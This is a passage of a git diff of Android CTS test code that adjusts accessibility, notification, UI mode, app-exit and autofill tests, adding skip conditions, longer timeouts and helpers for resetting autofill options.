diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
index 17acc3b..ead2e7a 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextTraversalTest.java
@@ -3837,7 +3837,9 @@
         final int textLength = editText.getText().length();
         arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_START_INT, textLength);
         arguments.putInt(AccessibilityNodeInfo.ACTION_ARGUMENT_SELECTION_END_INT, textLength);
-        assertTrue(text.performAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, arguments));
+        // Don't check the return value, because the copy action could move the selection and the
+        // operation will fail if the selection is already at the end.
+        text.performAction(AccessibilityNodeInfo.ACTION_SET_SELECTION, arguments);
 
         // Verify the selection position.
         assertEquals(textLength, Selection.getSelectionStart(editText.getText()));
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index 5e1e76c..ea984ee 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -590,6 +590,8 @@
                             || windowingMode == WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
                 });
 
+        sUiAutomation.waitForIdle(TIMEOUT_WINDOW_STATE_IDLE, DEFAULT_TIMEOUT_MS);
+
         assertTrue(
                 sUiAutomation.performGlobalAction(
                         AccessibilityService.GLOBAL_ACTION_TOGGLE_SPLIT_SCREEN));
@@ -667,9 +669,9 @@
             SparseArray<List<AccessibilityWindowInfo>> allWindows =
                     sUiAutomation.getWindowsOnAllDisplays();
             assertNotNull(allWindows);
-            assertTrue(allWindows.size() == 2);
 
             // Gets windows on default display.
+            assertTrue(allWindows.contains(Display.DEFAULT_DISPLAY));
             List<AccessibilityWindowInfo> windowsOnDefaultDisplay =
                     allWindows.get(Display.DEFAULT_DISPLAY);
             assertNotNull(windowsOnDefaultDisplay);
@@ -684,6 +686,7 @@
                     new IsSortedBy<>(w -> w.getLayer(), /* ascending */ false));
 
             // Gets windows on virtual display.
+            assertTrue(allWindows.contains(virtualDisplayId));
             List<AccessibilityWindowInfo> windowsOnVirtualDisplay =
                     allWindows.get(virtualDisplayId);
             assertNotNull(windowsOnVirtualDisplay);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
index d73bac8..416d5ca 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowReportingTest.java
@@ -51,8 +51,8 @@
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.app.UiAutomation;
+import android.graphics.Rect;
 import android.os.SystemClock;
-import android.util.DisplayMetrics;
 import android.view.Display;
 import android.view.Gravity;
 import android.view.InputDevice;
@@ -267,15 +267,23 @@
                             sUiAutomation,
                             AccessibilityEmbeddedDisplayTest.EmbeddedDisplayActivity.class,
                             virtualDisplayId);
+
+            final CharSequence activityTitle = getActivityTitle(sInstrumentation,
+                    activityOnVirtualDisplay);
+
             // Window manager changed the behavior of focused window at a virtual display. A window
             // at virtual display needs to be touched then it becomes to be focused one. Adding this
             // touch event on the activity window of the virtual display to pass this test case.
             sUiAutomation.executeAndWaitForEvent(
                     () -> {
-                        final DisplayMetrics displayMetrics =
-                                mActivity.getResources().getDisplayMetrics();
-                        final int xOnScreen = displayMetrics.widthPixels / 2;
-                        final int yOnScreen = displayMetrics.heightPixels / 2;
+                        final Rect areaOfActivityWindowOnVirtualDisplay = new Rect();
+                        findWindowByTitleAndDisplay(sUiAutomation, activityTitle, virtualDisplayId)
+                                .getBoundsInScreen(areaOfActivityWindowOnVirtualDisplay);
+
+                        final int xOnScreen =
+                            areaOfActivityWindowOnVirtualDisplay.centerX();
+                        final int yOnScreen =
+                            areaOfActivityWindowOnVirtualDisplay.centerY();
                         final long downEventTime = SystemClock.uptimeMillis();
                         final MotionEvent downEvent = MotionEvent.obtain(downEventTime,
                                 downEventTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 0);
@@ -294,8 +302,6 @@
                             WINDOWS_CHANGE_ACTIVE),
                     TIMEOUT_ASYNC_PROCESSING);
 
-            final CharSequence activityTitle = getActivityTitle(sInstrumentation,
-                    activityOnVirtualDisplay);
             // Make sure activityWindow on virtual display is focused.
             AccessibilityWindowInfo activityWindowOnVirtualDisplay =
                 findWindowByTitleAndDisplay(sUiAutomation, activityTitle, virtualDisplayId);
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
index 6885b71..44fd804 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/utils/ActivityLaunchUtils.java
@@ -61,6 +61,8 @@
     private static final String LOG_TAG = "ActivityLaunchUtils";
     private static final String AM_START_HOME_ACTIVITY_COMMAND =
             "am start -a android.intent.action.MAIN -c android.intent.category.HOME";
+    private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND =
+            "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
 
     // Using a static variable so it can be used in lambdas. Not preserving state in it.
     private static Activity mTempActivity;
@@ -134,7 +136,10 @@
         try {
             executeAndWaitOn(
                     uiAutomation,
-                    () -> execShellCommand(uiAutomation, AM_START_HOME_ACTIVITY_COMMAND),
+                    () -> {
+                        execShellCommand(uiAutomation, AM_START_HOME_ACTIVITY_COMMAND);
+                        execShellCommand(uiAutomation, AM_BROADCAST_CLOSE_SYSTEM_DIALOG_COMMAND);
+                    },
                     () -> isHomeScreenShowing(context, uiAutomation),
                     DEFAULT_TIMEOUT_MS,
                     "home screen");
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index da10600..fe194f2 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -16,6 +16,8 @@
 
 package android.app.cts;
 
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
 import android.app.ActivityManager;
 import android.app.ActivityManager.RunningAppProcessInfo;
 import android.app.ApplicationExitInfo;
@@ -99,7 +101,7 @@
     private static final int EXIT_CODE = 123;
     private static final int CRASH_SIGNAL = OsConstants.SIGSEGV;
 
-    private static final int WAITFOR_MSEC = 5000;
+    private static final int WAITFOR_MSEC = 10000;
     private static final int WAITFOR_SETTLE_DOWN = 2000;
 
     private static final int CMD_PID = 1;
@@ -734,6 +736,60 @@
                 info.getRss() * 1024, new StringBuilder()));
     }
 
+    // A clone of testPermissionChange using a different revoke api
+    public void testPermissionChangeWithReason() throws Exception {
+        String revokeReason = "test reason";
+        // Remove old records to avoid interference with the test.
+        clearHistoricalExitInfo();
+
+        // Grant the read calendar permission
+        mInstrumentation.getUiAutomation().grantRuntimePermission(
+                STUB_PACKAGE_NAME, android.Manifest.permission.READ_CALENDAR);
+        long now = System.currentTimeMillis();
+
+        // Start a process and do nothing
+        startService(ACTION_FINISH, STUB_SERVICE_NAME, false, false);
+
+        // Enable high frequency memory sampling
+        executeShellCmd("dumpsys procstats --start-testing");
+        // Sleep for a while to wait for the sampling of memory info
+        sleep(10000);
+        // Stop the high frequency memory sampling
+        executeShellCmd("dumpsys procstats --stop-testing");
+        // Get the memory info from it.
+        String dump = executeShellCmd("dumpsys activity processes " + STUB_PACKAGE_NAME);
+        assertNotNull(dump);
+        final String lastPss = extractMemString(dump, " lastPss=", ' ');
+        final String lastRss = extractMemString(dump, " lastRss=", '\n');
+
+        // Revoke the read calendar permission
+        runWithShellPermissionIdentity(() -> {
+            mContext.getPackageManager().revokeRuntimePermission(STUB_PACKAGE_NAME,
+                    android.Manifest.permission.READ_CALENDAR, Process.myUserHandle(),
+                    revokeReason);
+        });
+        waitForGone(mWatcher);
+        long now2 = System.currentTimeMillis();
+
+        List<ApplicationExitInfo> list = ShellIdentityUtils.invokeMethodWithShellPermissions(
+                STUB_PACKAGE_NAME, mStubPackagePid, 1,
+                mActivityManager::getHistoricalProcessExitReasons,
+                android.Manifest.permission.DUMP);
+
+        assertTrue(list != null && list.size() == 1);
+
+        ApplicationExitInfo info = list.get(0);
+        verify(info, mStubPackagePid, mStubPackageUid, STUB_PACKAGE_NAME,
+                ApplicationExitInfo.REASON_PERMISSION_CHANGE, null, null, now, now2);
+        assertEquals(revokeReason, info.getDescription());
+
+        // Also verify that we get the expected meminfo
+        assertEquals(lastPss, DebugUtils.sizeValueToString(
+                info.getPss() * 1024, new StringBuilder()));
+        assertEquals(lastRss, DebugUtils.sizeValueToString(
+                info.getRss() * 1024, new StringBuilder()));
+    }
+
     public void testCrash() throws Exception {
         // Remove old records to avoid interference with the test.
         clearHistoricalExitInfo();
diff --git a/tests/app/TEST_MAPPING b/tests/app/TEST_MAPPING
index ca2dd6c..213ad1e 100644
--- a/tests/app/TEST_MAPPING
+++ b/tests/app/TEST_MAPPING
@@ -1,5 +1,5 @@
 {
-  "presubmit": [
+  "presubmit-large": [
     {
       "name": "CtsAppTestCases",
       "options": [
diff --git a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
index 410c98d..29b71e0 100644
--- a/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
+++ b/tests/app/app/src/android/app/stubs/OrientationTestUtils.java
@@ -20,6 +20,7 @@
 
 import android.app.Activity;
 import android.content.pm.ActivityInfo;
+import android.content.res.Resources;
 import android.view.DisplayInfo;
 
 import java.util.concurrent.CountDownLatch;
@@ -71,8 +72,15 @@
 
     /** Checks whether the display dimension is close to square. */
     public static boolean isCloseToSquareDisplay(final Activity activity) {
-        final float closeToSquareMaxAspectRatio = activity.getResources().getFloat(
-                com.android.internal.R.dimen.config_closeToSquareDisplayMaxAspectRatio);
+        final Resources resources = activity.getResources();
+        final float closeToSquareMaxAspectRatio;
+        try {
+            closeToSquareMaxAspectRatio = resources.getFloat(resources.getIdentifier(
+                    "config_closeToSquareDisplayMaxAspectRatio", "dimen", "android"));
+        } catch (Resources.NotFoundException e) {
+            // Assume device is not close to square.
+            return false;
+        }
         final DisplayInfo displayInfo = new DisplayInfo();
         activity.getDisplay().getDisplayInfo(displayInfo);
         final int w = displayInfo.logicalWidth;
diff --git a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
index b105b92..0de8c47 100644
--- a/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerProcessStateTest.java
@@ -1219,15 +1219,6 @@
             return true;
         }
 
-        // Most types of devices need to support this.
-        int mode = mContext.getResources().getConfiguration().uiMode
-                & Configuration.UI_MODE_TYPE_MASK;
-        if (mode != Configuration.UI_MODE_TYPE_WATCH
-                && mode != Configuration.UI_MODE_TYPE_APPLIANCE) {
-            // Most devices must support the can't save state feature.
-            throw new IllegalStateException("Devices that are not watches or appliances must "
-                    + "support FEATURE_CANT_SAVE_STATE");
-        }
         return false;
     }
 
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index 182edc2..52c6535 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -181,6 +181,11 @@
         mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
         mRuleIds = new ArrayList<>();
 
+        // ensure listener access isn't allowed before test runs (other tests could put
+        // TestListener in an unexpected state)
+        toggleListenerAccess(TestNotificationListener.getId(),
+                InstrumentationRegistry.getInstrumentation(), false);
+
         toggleNotificationPolicyAccess(mContext.getPackageName(),
                 InstrumentationRegistry.getInstrumentation(), true);
         mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_ALL);
@@ -612,9 +617,9 @@
         runCommand(command, instrumentation);
 
         NotificationManager nm = mContext.getSystemService(NotificationManager.class);
-        Assert.assertEquals("Notification Policy Access Grant is " +
-                        nm.isNotificationPolicyAccessGranted() + " not " + on, on,
-                nm.isNotificationPolicyAccessGranted());
+        assertEquals("Notification Policy Access Grant is "
+                + nm.isNotificationPolicyAccessGranted() + " not " + on + " for "
+                + packageName,  on, nm.isNotificationPolicyAccessGranted());
     }
 
     private void suspendPackage(String packageName,
@@ -2063,7 +2068,8 @@
 
             // ensure volume is not muted/0 to start test
             mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
-            mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
+            // exception for presidential alert
+            //mAudioManager.setStreamVolume(AudioManager.STREAM_ALARM, 1, 0);
             mAudioManager.setStreamVolume(AudioManager.STREAM_SYSTEM, 1, 0);
             mAudioManager.setStreamVolume(AudioManager.STREAM_RING, 1, 0);
 
@@ -2083,12 +2089,14 @@
                     mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
             assertTrue("System stream should be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_SYSTEM));
-            assertTrue("Alarm stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
+            // exception for presidential alert
+            //assertTrue("Alarm stream should be muted",
+            //        mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
 
             // Test requires that the phone's default state has no channels that can bypass dnd
-            assertTrue("Ringer stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            // which we can't currently guarantee (b/169267379)
+            // assertTrue("Ringer stream should be muted",
+            //        mAudioManager.isStreamMute(AudioManager.STREAM_RING));
         } finally {
             mNotificationManager.setInterruptionFilter(originalFilter);
             mNotificationManager.setNotificationPolicy(origPolicy);
@@ -2128,8 +2136,9 @@
                     mAudioManager.isStreamMute(AudioManager.STREAM_ALARM));
 
             // Test requires that the phone's default state has no channels that can bypass dnd
-            assertTrue("Ringer stream should be muted",
-                    mAudioManager.isStreamMute(AudioManager.STREAM_RING));
+            // which we can't currently guarantee (b/169267379)
+            // assertTrue("Ringer stream should be muted",
+            //  mAudioManager.isStreamMute(AudioManager.STREAM_RING));
         } finally {
             mNotificationManager.setInterruptionFilter(originalFilter);
             mNotificationManager.setNotificationPolicy(origPolicy);
@@ -2993,7 +3002,8 @@
 
     public void testNotificationManagerBubble_checkActivityFlagsDocumentLaunchMode()
             throws Exception {
-        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
             // These do not support bubbles.
             return;
         }
@@ -3242,7 +3252,8 @@
 
     public void testNotificationManagerBubblePolicy_noFlag_shortcutRemoved()
             throws Exception {
-        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                    || mActivityManager.isLowRamDevice()) {
             // These do not support bubbles.
             return;
         }
@@ -3269,7 +3280,8 @@
     }
 
     public void testNotificationManagerBubbleNotificationSuppression() throws Exception {
-        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()) {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
             // These do not support bubbles.
             return;
         }
diff --git a/tests/app/src/android/app/cts/StatusBarManagerTest.java b/tests/app/src/android/app/cts/StatusBarManagerTest.java
index 241ee12..fc2f16e 100644
--- a/tests/app/src/android/app/cts/StatusBarManagerTest.java
+++ b/tests/app/src/android/app/cts/StatusBarManagerTest.java
@@ -20,11 +20,13 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.Manifest;
 import android.app.StatusBarManager;
 import android.app.StatusBarManager.DisableInfo;
 import android.content.Context;
+import android.content.pm.PackageManager;
 
 import org.junit.After;
 import org.junit.Before;
@@ -42,6 +44,10 @@
     private StatusBarManager mStatusBarManager;
     private Context mContext;
 
+    private boolean isWatch() {
+        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+    }
+
     /**
      * Setup
      * @throws Exception
@@ -49,6 +55,7 @@
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getContext();
+        assumeFalse("Status bar service not supported", isWatch());
         mStatusBarManager = (StatusBarManager) mContext.getSystemService(
                 Context.STATUS_BAR_SERVICE);
         getInstrumentation().getUiAutomation()
@@ -57,7 +64,10 @@
 
     @After
     public void tearDown() {
-        mStatusBarManager.setDisabledForSetup(false);
+
+        if (mStatusBarManager != null) {
+            mStatusBarManager.setDisabledForSetup(false);
+        }
         getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
     }
 
diff --git a/tests/app/src/android/app/cts/UiModeManagerTest.java b/tests/app/src/android/app/cts/UiModeManagerTest.java
index e877350..b474fb8 100644
--- a/tests/app/src/android/app/cts/UiModeManagerTest.java
+++ b/tests/app/src/android/app/cts/UiModeManagerTest.java
@@ -23,11 +23,13 @@
 import android.content.pm.PackageManager;
 import android.content.res.Configuration;
 import android.os.ParcelFileDescriptor;
+import android.os.UserHandle;
 import android.test.AndroidTestCase;
 import android.util.Log;
 
 import com.android.compatibility.common.util.BatteryUtils;
 import com.android.compatibility.common.util.SettingsUtils;
+import com.android.compatibility.common.util.UserUtils;
 
 import junit.framework.Assert;
 
@@ -108,6 +110,11 @@
     }
 
     public void testNightModeYesPersisted() throws InterruptedException {
+        if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeYesPersisted skipped: night mode is locked");
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
 
@@ -116,6 +123,11 @@
     }
 
     public void testNightModeAutoPersisted() throws InterruptedException {
+        if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeAutoPersisted skipped: night mode is locked");
+            return;
+        }
+
         // Reset the mode to no if it is set to another value
         setNightMode(UiModeManager.MODE_NIGHT_NO);
 
@@ -125,6 +137,7 @@
 
     public void testNightModeAutoNotPersistedCarMode() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeAutoNotPersistedCarMode skipped: night mode is locked");
             return;
         }
 
@@ -139,6 +152,7 @@
 
     public void testNightModeInCarModeIsTransient() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeInCarModeIsTransient skipped: night mode is locked");
             return;
         }
 
@@ -156,6 +170,8 @@
 
     public void testNightModeToggleInCarModeDoesNotChangeSetting() {
         if (mUiModeManager.isNightModeLocked()) {
+            Log.i(TAG, "testNightModeToggleInCarModeDoesNotChangeSetting skipped: "
+                    + "night mode is locked");
             return;
         }
 
@@ -174,6 +190,8 @@
 
     public void testNightModeInCarModeOnPowerSaveIsTransient() throws Throwable {
         if (mUiModeManager.isNightModeLocked() || !BatteryUtils.isBatterySaverSupported()) {
+            Log.i(TAG, "testNightModeInCarModeOnPowerSaveIsTransient skipped: "
+                    + "night mode is locked or battery saver is not supported");
             return;
         }
 
@@ -347,7 +365,7 @@
         int storedModeInt = -1;
         // Settings.Secure.UI_NIGHT_MODE
         for (int i = 0; i < MAX_WAIT_TIME; i += WAIT_TIME_INCR) {
-            String storedMode = SettingsUtils.getSecureSetting("ui_night_mode");
+            String storedMode = getUiNightModeFromSetting();
             storedModeInt = Integer.parseInt(storedMode);
             if (mode == storedModeInt) break;
             try {
@@ -404,4 +422,10 @@
         }
     }
 
+    private String getUiNightModeFromSetting() {
+        String key = "ui_night_mode";
+        return UserUtils.isHeadlessSystemUserMode()
+                ? SettingsUtils.getSecureSettingAsUser(UserHandle.USER_SYSTEM, key)
+                : SettingsUtils.getSecureSetting(key);
+    }
 }
diff --git a/tests/autofillservice/AndroidManifest.xml b/tests/autofillservice/AndroidManifest.xml
index d4d5459..f690678 100644
--- a/tests/autofillservice/AndroidManifest.xml
+++ b/tests/autofillservice/AndroidManifest.xml
@@ -134,6 +134,7 @@
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
+        <activity android:name=".augmented.AugmentedAuthActivity" />
         <activity android:name=".SimpleAfterLoginActivity" />
         <activity android:name=".SimpleBeforeLoginActivity" />
         <activity android:name=".NonAutofillableActivity" />
diff --git a/tests/autofillservice/res/layout/authentication_activity.xml b/tests/autofillservice/res/layout/authentication_activity.xml
new file mode 100644
index 0000000..23e58e7
--- /dev/null
+++ b/tests/autofillservice/res/layout/authentication_activity.xml
@@ -0,0 +1,44 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              xmlns:tools="http://schemas.android.com/tools"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:focusable="true"
+              android:focusableInTouchMode="true"
+              android:orientation="vertical" >
+
+    <TextView
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Authenticate?" />
+
+    <EditText
+        android:id="@+id/password"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:inputType="textPassword"
+        android:autofillHints="password" />
+
+    <Button
+        android:id="@+id/yes"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:text="Yes" />
+
+</LinearLayout>
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
index b247ec2..7ddfccc 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AuthenticationActivity.java
@@ -34,6 +34,8 @@
 import android.util.Log;
 import android.util.SparseArray;
 import android.view.autofill.AutofillManager;
+import android.widget.Button;
+import android.widget.EditText;
 
 import com.google.common.base.Preconditions;
 
@@ -58,6 +60,7 @@
 
 
     private static final int MSG_WAIT_FOR_LATCH = 1;
+    private static final int MSG_REQUEST_AUTOFILL = 2;
 
     private static Bundle sData;
     private static final SparseArray<CannedDataset> sDatasets = new SparseArray<>();
@@ -73,10 +76,18 @@
     // Used to block response until it's counted down.
     private static CountDownLatch sResponseLatch;
 
+    // Guarded by sLock
+    // Used to request autofill for a autofillable view in AuthenticationActivity
+    private static boolean sRequestAutofill;
+
     private Handler mHandler;
 
+    private EditText mPasswordEditText;
+    private Button mYesButton;
+
     static void resetStaticState() {
-        setResultCode(RESULT_OK);
+        setResultCode(null, RESULT_OK);
+        setRequestAutofillForAuthenticationActivity(/* requestAutofill */ false);
         sDatasets.clear();
         sResponses.clear();
         for (int i = 0; i < sPendingIntents.size(); i++) {
@@ -168,15 +179,30 @@
         }
     }
 
+    public static void setRequestAutofillForAuthenticationActivity(boolean requestAutofill) {
+        synchronized (sLock) {
+            sRequestAutofill = requestAutofill;
+        }
+    }
+
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
 
+        setContentView(R.layout.authentication_activity);
+
+        mPasswordEditText = findViewById(R.id.password);
+        mYesButton = findViewById(R.id.yes);
+        mYesButton.setOnClickListener(view -> doIt());
+
         mHandler = new Handler(Looper.getMainLooper(), (m) -> {
             switch (m.what) {
                 case MSG_WAIT_FOR_LATCH:
                     waitForLatchAndDoIt();
                     break;
+                case MSG_REQUEST_AUTOFILL:
+                    requestFocusOnPassword();
+                    break;
                 default:
                     throw new IllegalArgumentException("invalid message: " + m);
             }
@@ -186,11 +212,17 @@
         if (sResponseLatch != null) {
             Log.d(TAG, "Delaying message until latch is counted down");
             mHandler.dispatchMessage(mHandler.obtainMessage(MSG_WAIT_FOR_LATCH));
+        } else if (sRequestAutofill) {
+            mHandler.dispatchMessage(mHandler.obtainMessage(MSG_REQUEST_AUTOFILL));
         } else {
             doIt();
         }
     }
 
+    private void requestFocusOnPassword() {
+        syncRunOnUiThread(() -> mPasswordEditText.requestFocus());
+    }
+
     private void waitForLatchAndDoIt() {
         try {
             final boolean called = sResponseLatch.await(5, TimeUnit.SECONDS);
diff --git a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
index 6c229e0..f0e1179 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/AutoFillServiceTestCase.java
@@ -26,6 +26,7 @@
 
 import android.app.PendingIntent;
 import android.autofillservice.cts.InstrumentedAutoFillService.Replier;
+import android.autofillservice.cts.augmented.AugmentedAuthActivity;
 import android.autofillservice.cts.inline.InlineUiBot;
 import android.content.ClipboardManager;
 import android.content.Context;
@@ -100,6 +101,10 @@
             return sDefaultUiBot2;
         }
 
+        protected static UiBot getDropdownUiBot() {
+            return sDefaultUiBot;
+        }
+
         @ClassRule
         public static final SettingsStateKeeperRule sPublicServiceSettingsKeeper =
                 sTheRealServiceSettingsKeeper;
@@ -388,6 +393,7 @@
 
             InstrumentedAutoFillService.resetStaticState();
             AuthenticationActivity.resetStaticState();
+            AugmentedAuthActivity.resetStaticState();
             sReplier.reset();
         }
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
index 5806234..c0a4629 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/CustomDescriptionWithLinkTestCase.java
@@ -226,7 +226,13 @@
     @Test
     public final void testTapLink_launchTrampolineActivityThenTapBackAndStartNewSession()
             throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+
         tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest();
+
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
     }
 
     protected abstract void tapLinkLaunchTrampolineActivityThenTapBackAndStartNewSessionTest()
diff --git a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
index f86c752..af2837b 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/DisableAutofillTest.java
@@ -27,6 +27,8 @@
 
 import com.android.compatibility.common.util.RetryableException;
 
+import org.junit.After;
+import org.junit.Before;
 import org.junit.Test;
 
 /**
@@ -170,6 +172,18 @@
         return SystemClock.elapsedRealtime() - before;
     }
 
+    @After
+    public void clearAutofillOptions() throws Exception {
+        // Clear AutofillOptions.
+        Helper.clearApplicationAutofillOptions(sContext);
+    }
+
+    @Before
+    public void resetAutofillOptions() throws Exception {
+        // Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+        Helper.resetApplicationAutofillOptions(sContext);
+    }
+
     @Test
     public void testDisableApp() throws Exception {
         // Set service.
diff --git a/tests/autofillservice/src/android/autofillservice/cts/Helper.java b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
index b3315fd..bb824de 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/Helper.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/Helper.java
@@ -37,6 +37,7 @@
 import android.app.assist.AssistStructure;
 import android.app.assist.AssistStructure.ViewNode;
 import android.app.assist.AssistStructure.WindowNode;
+import android.content.AutofillOptions;
 import android.content.ComponentName;
 import android.content.ContentResolver;
 import android.content.Context;
@@ -1554,6 +1555,22 @@
         Settings.Secure.putInt(cr, SELECTED_INPUT_METHOD_SUBTYPE, subtype);
     }
 
+    /**
+     * Reset AutofillOptions to avoid cts package was added to augmented autofill allowlist.
+     */
+    public static void resetApplicationAutofillOptions(@NonNull Context context) {
+        AutofillOptions options = AutofillOptions.forWhitelistingItself();
+        options.augmentedAutofillEnabled = false;
+        context.getApplicationContext().setAutofillOptions(options);
+    }
+
+    /**
+     * Clear AutofillOptions.
+     */
+    public static void clearApplicationAutofillOptions(@NonNull Context context) {
+        context.getApplicationContext().setAutofillOptions(null);
+    }
+
     private Helper() {
         throw new UnsupportedOperationException("contain static methods only");
     }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
index fd5b951..32ba473 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/LoginActivityTest.java
@@ -346,8 +346,7 @@
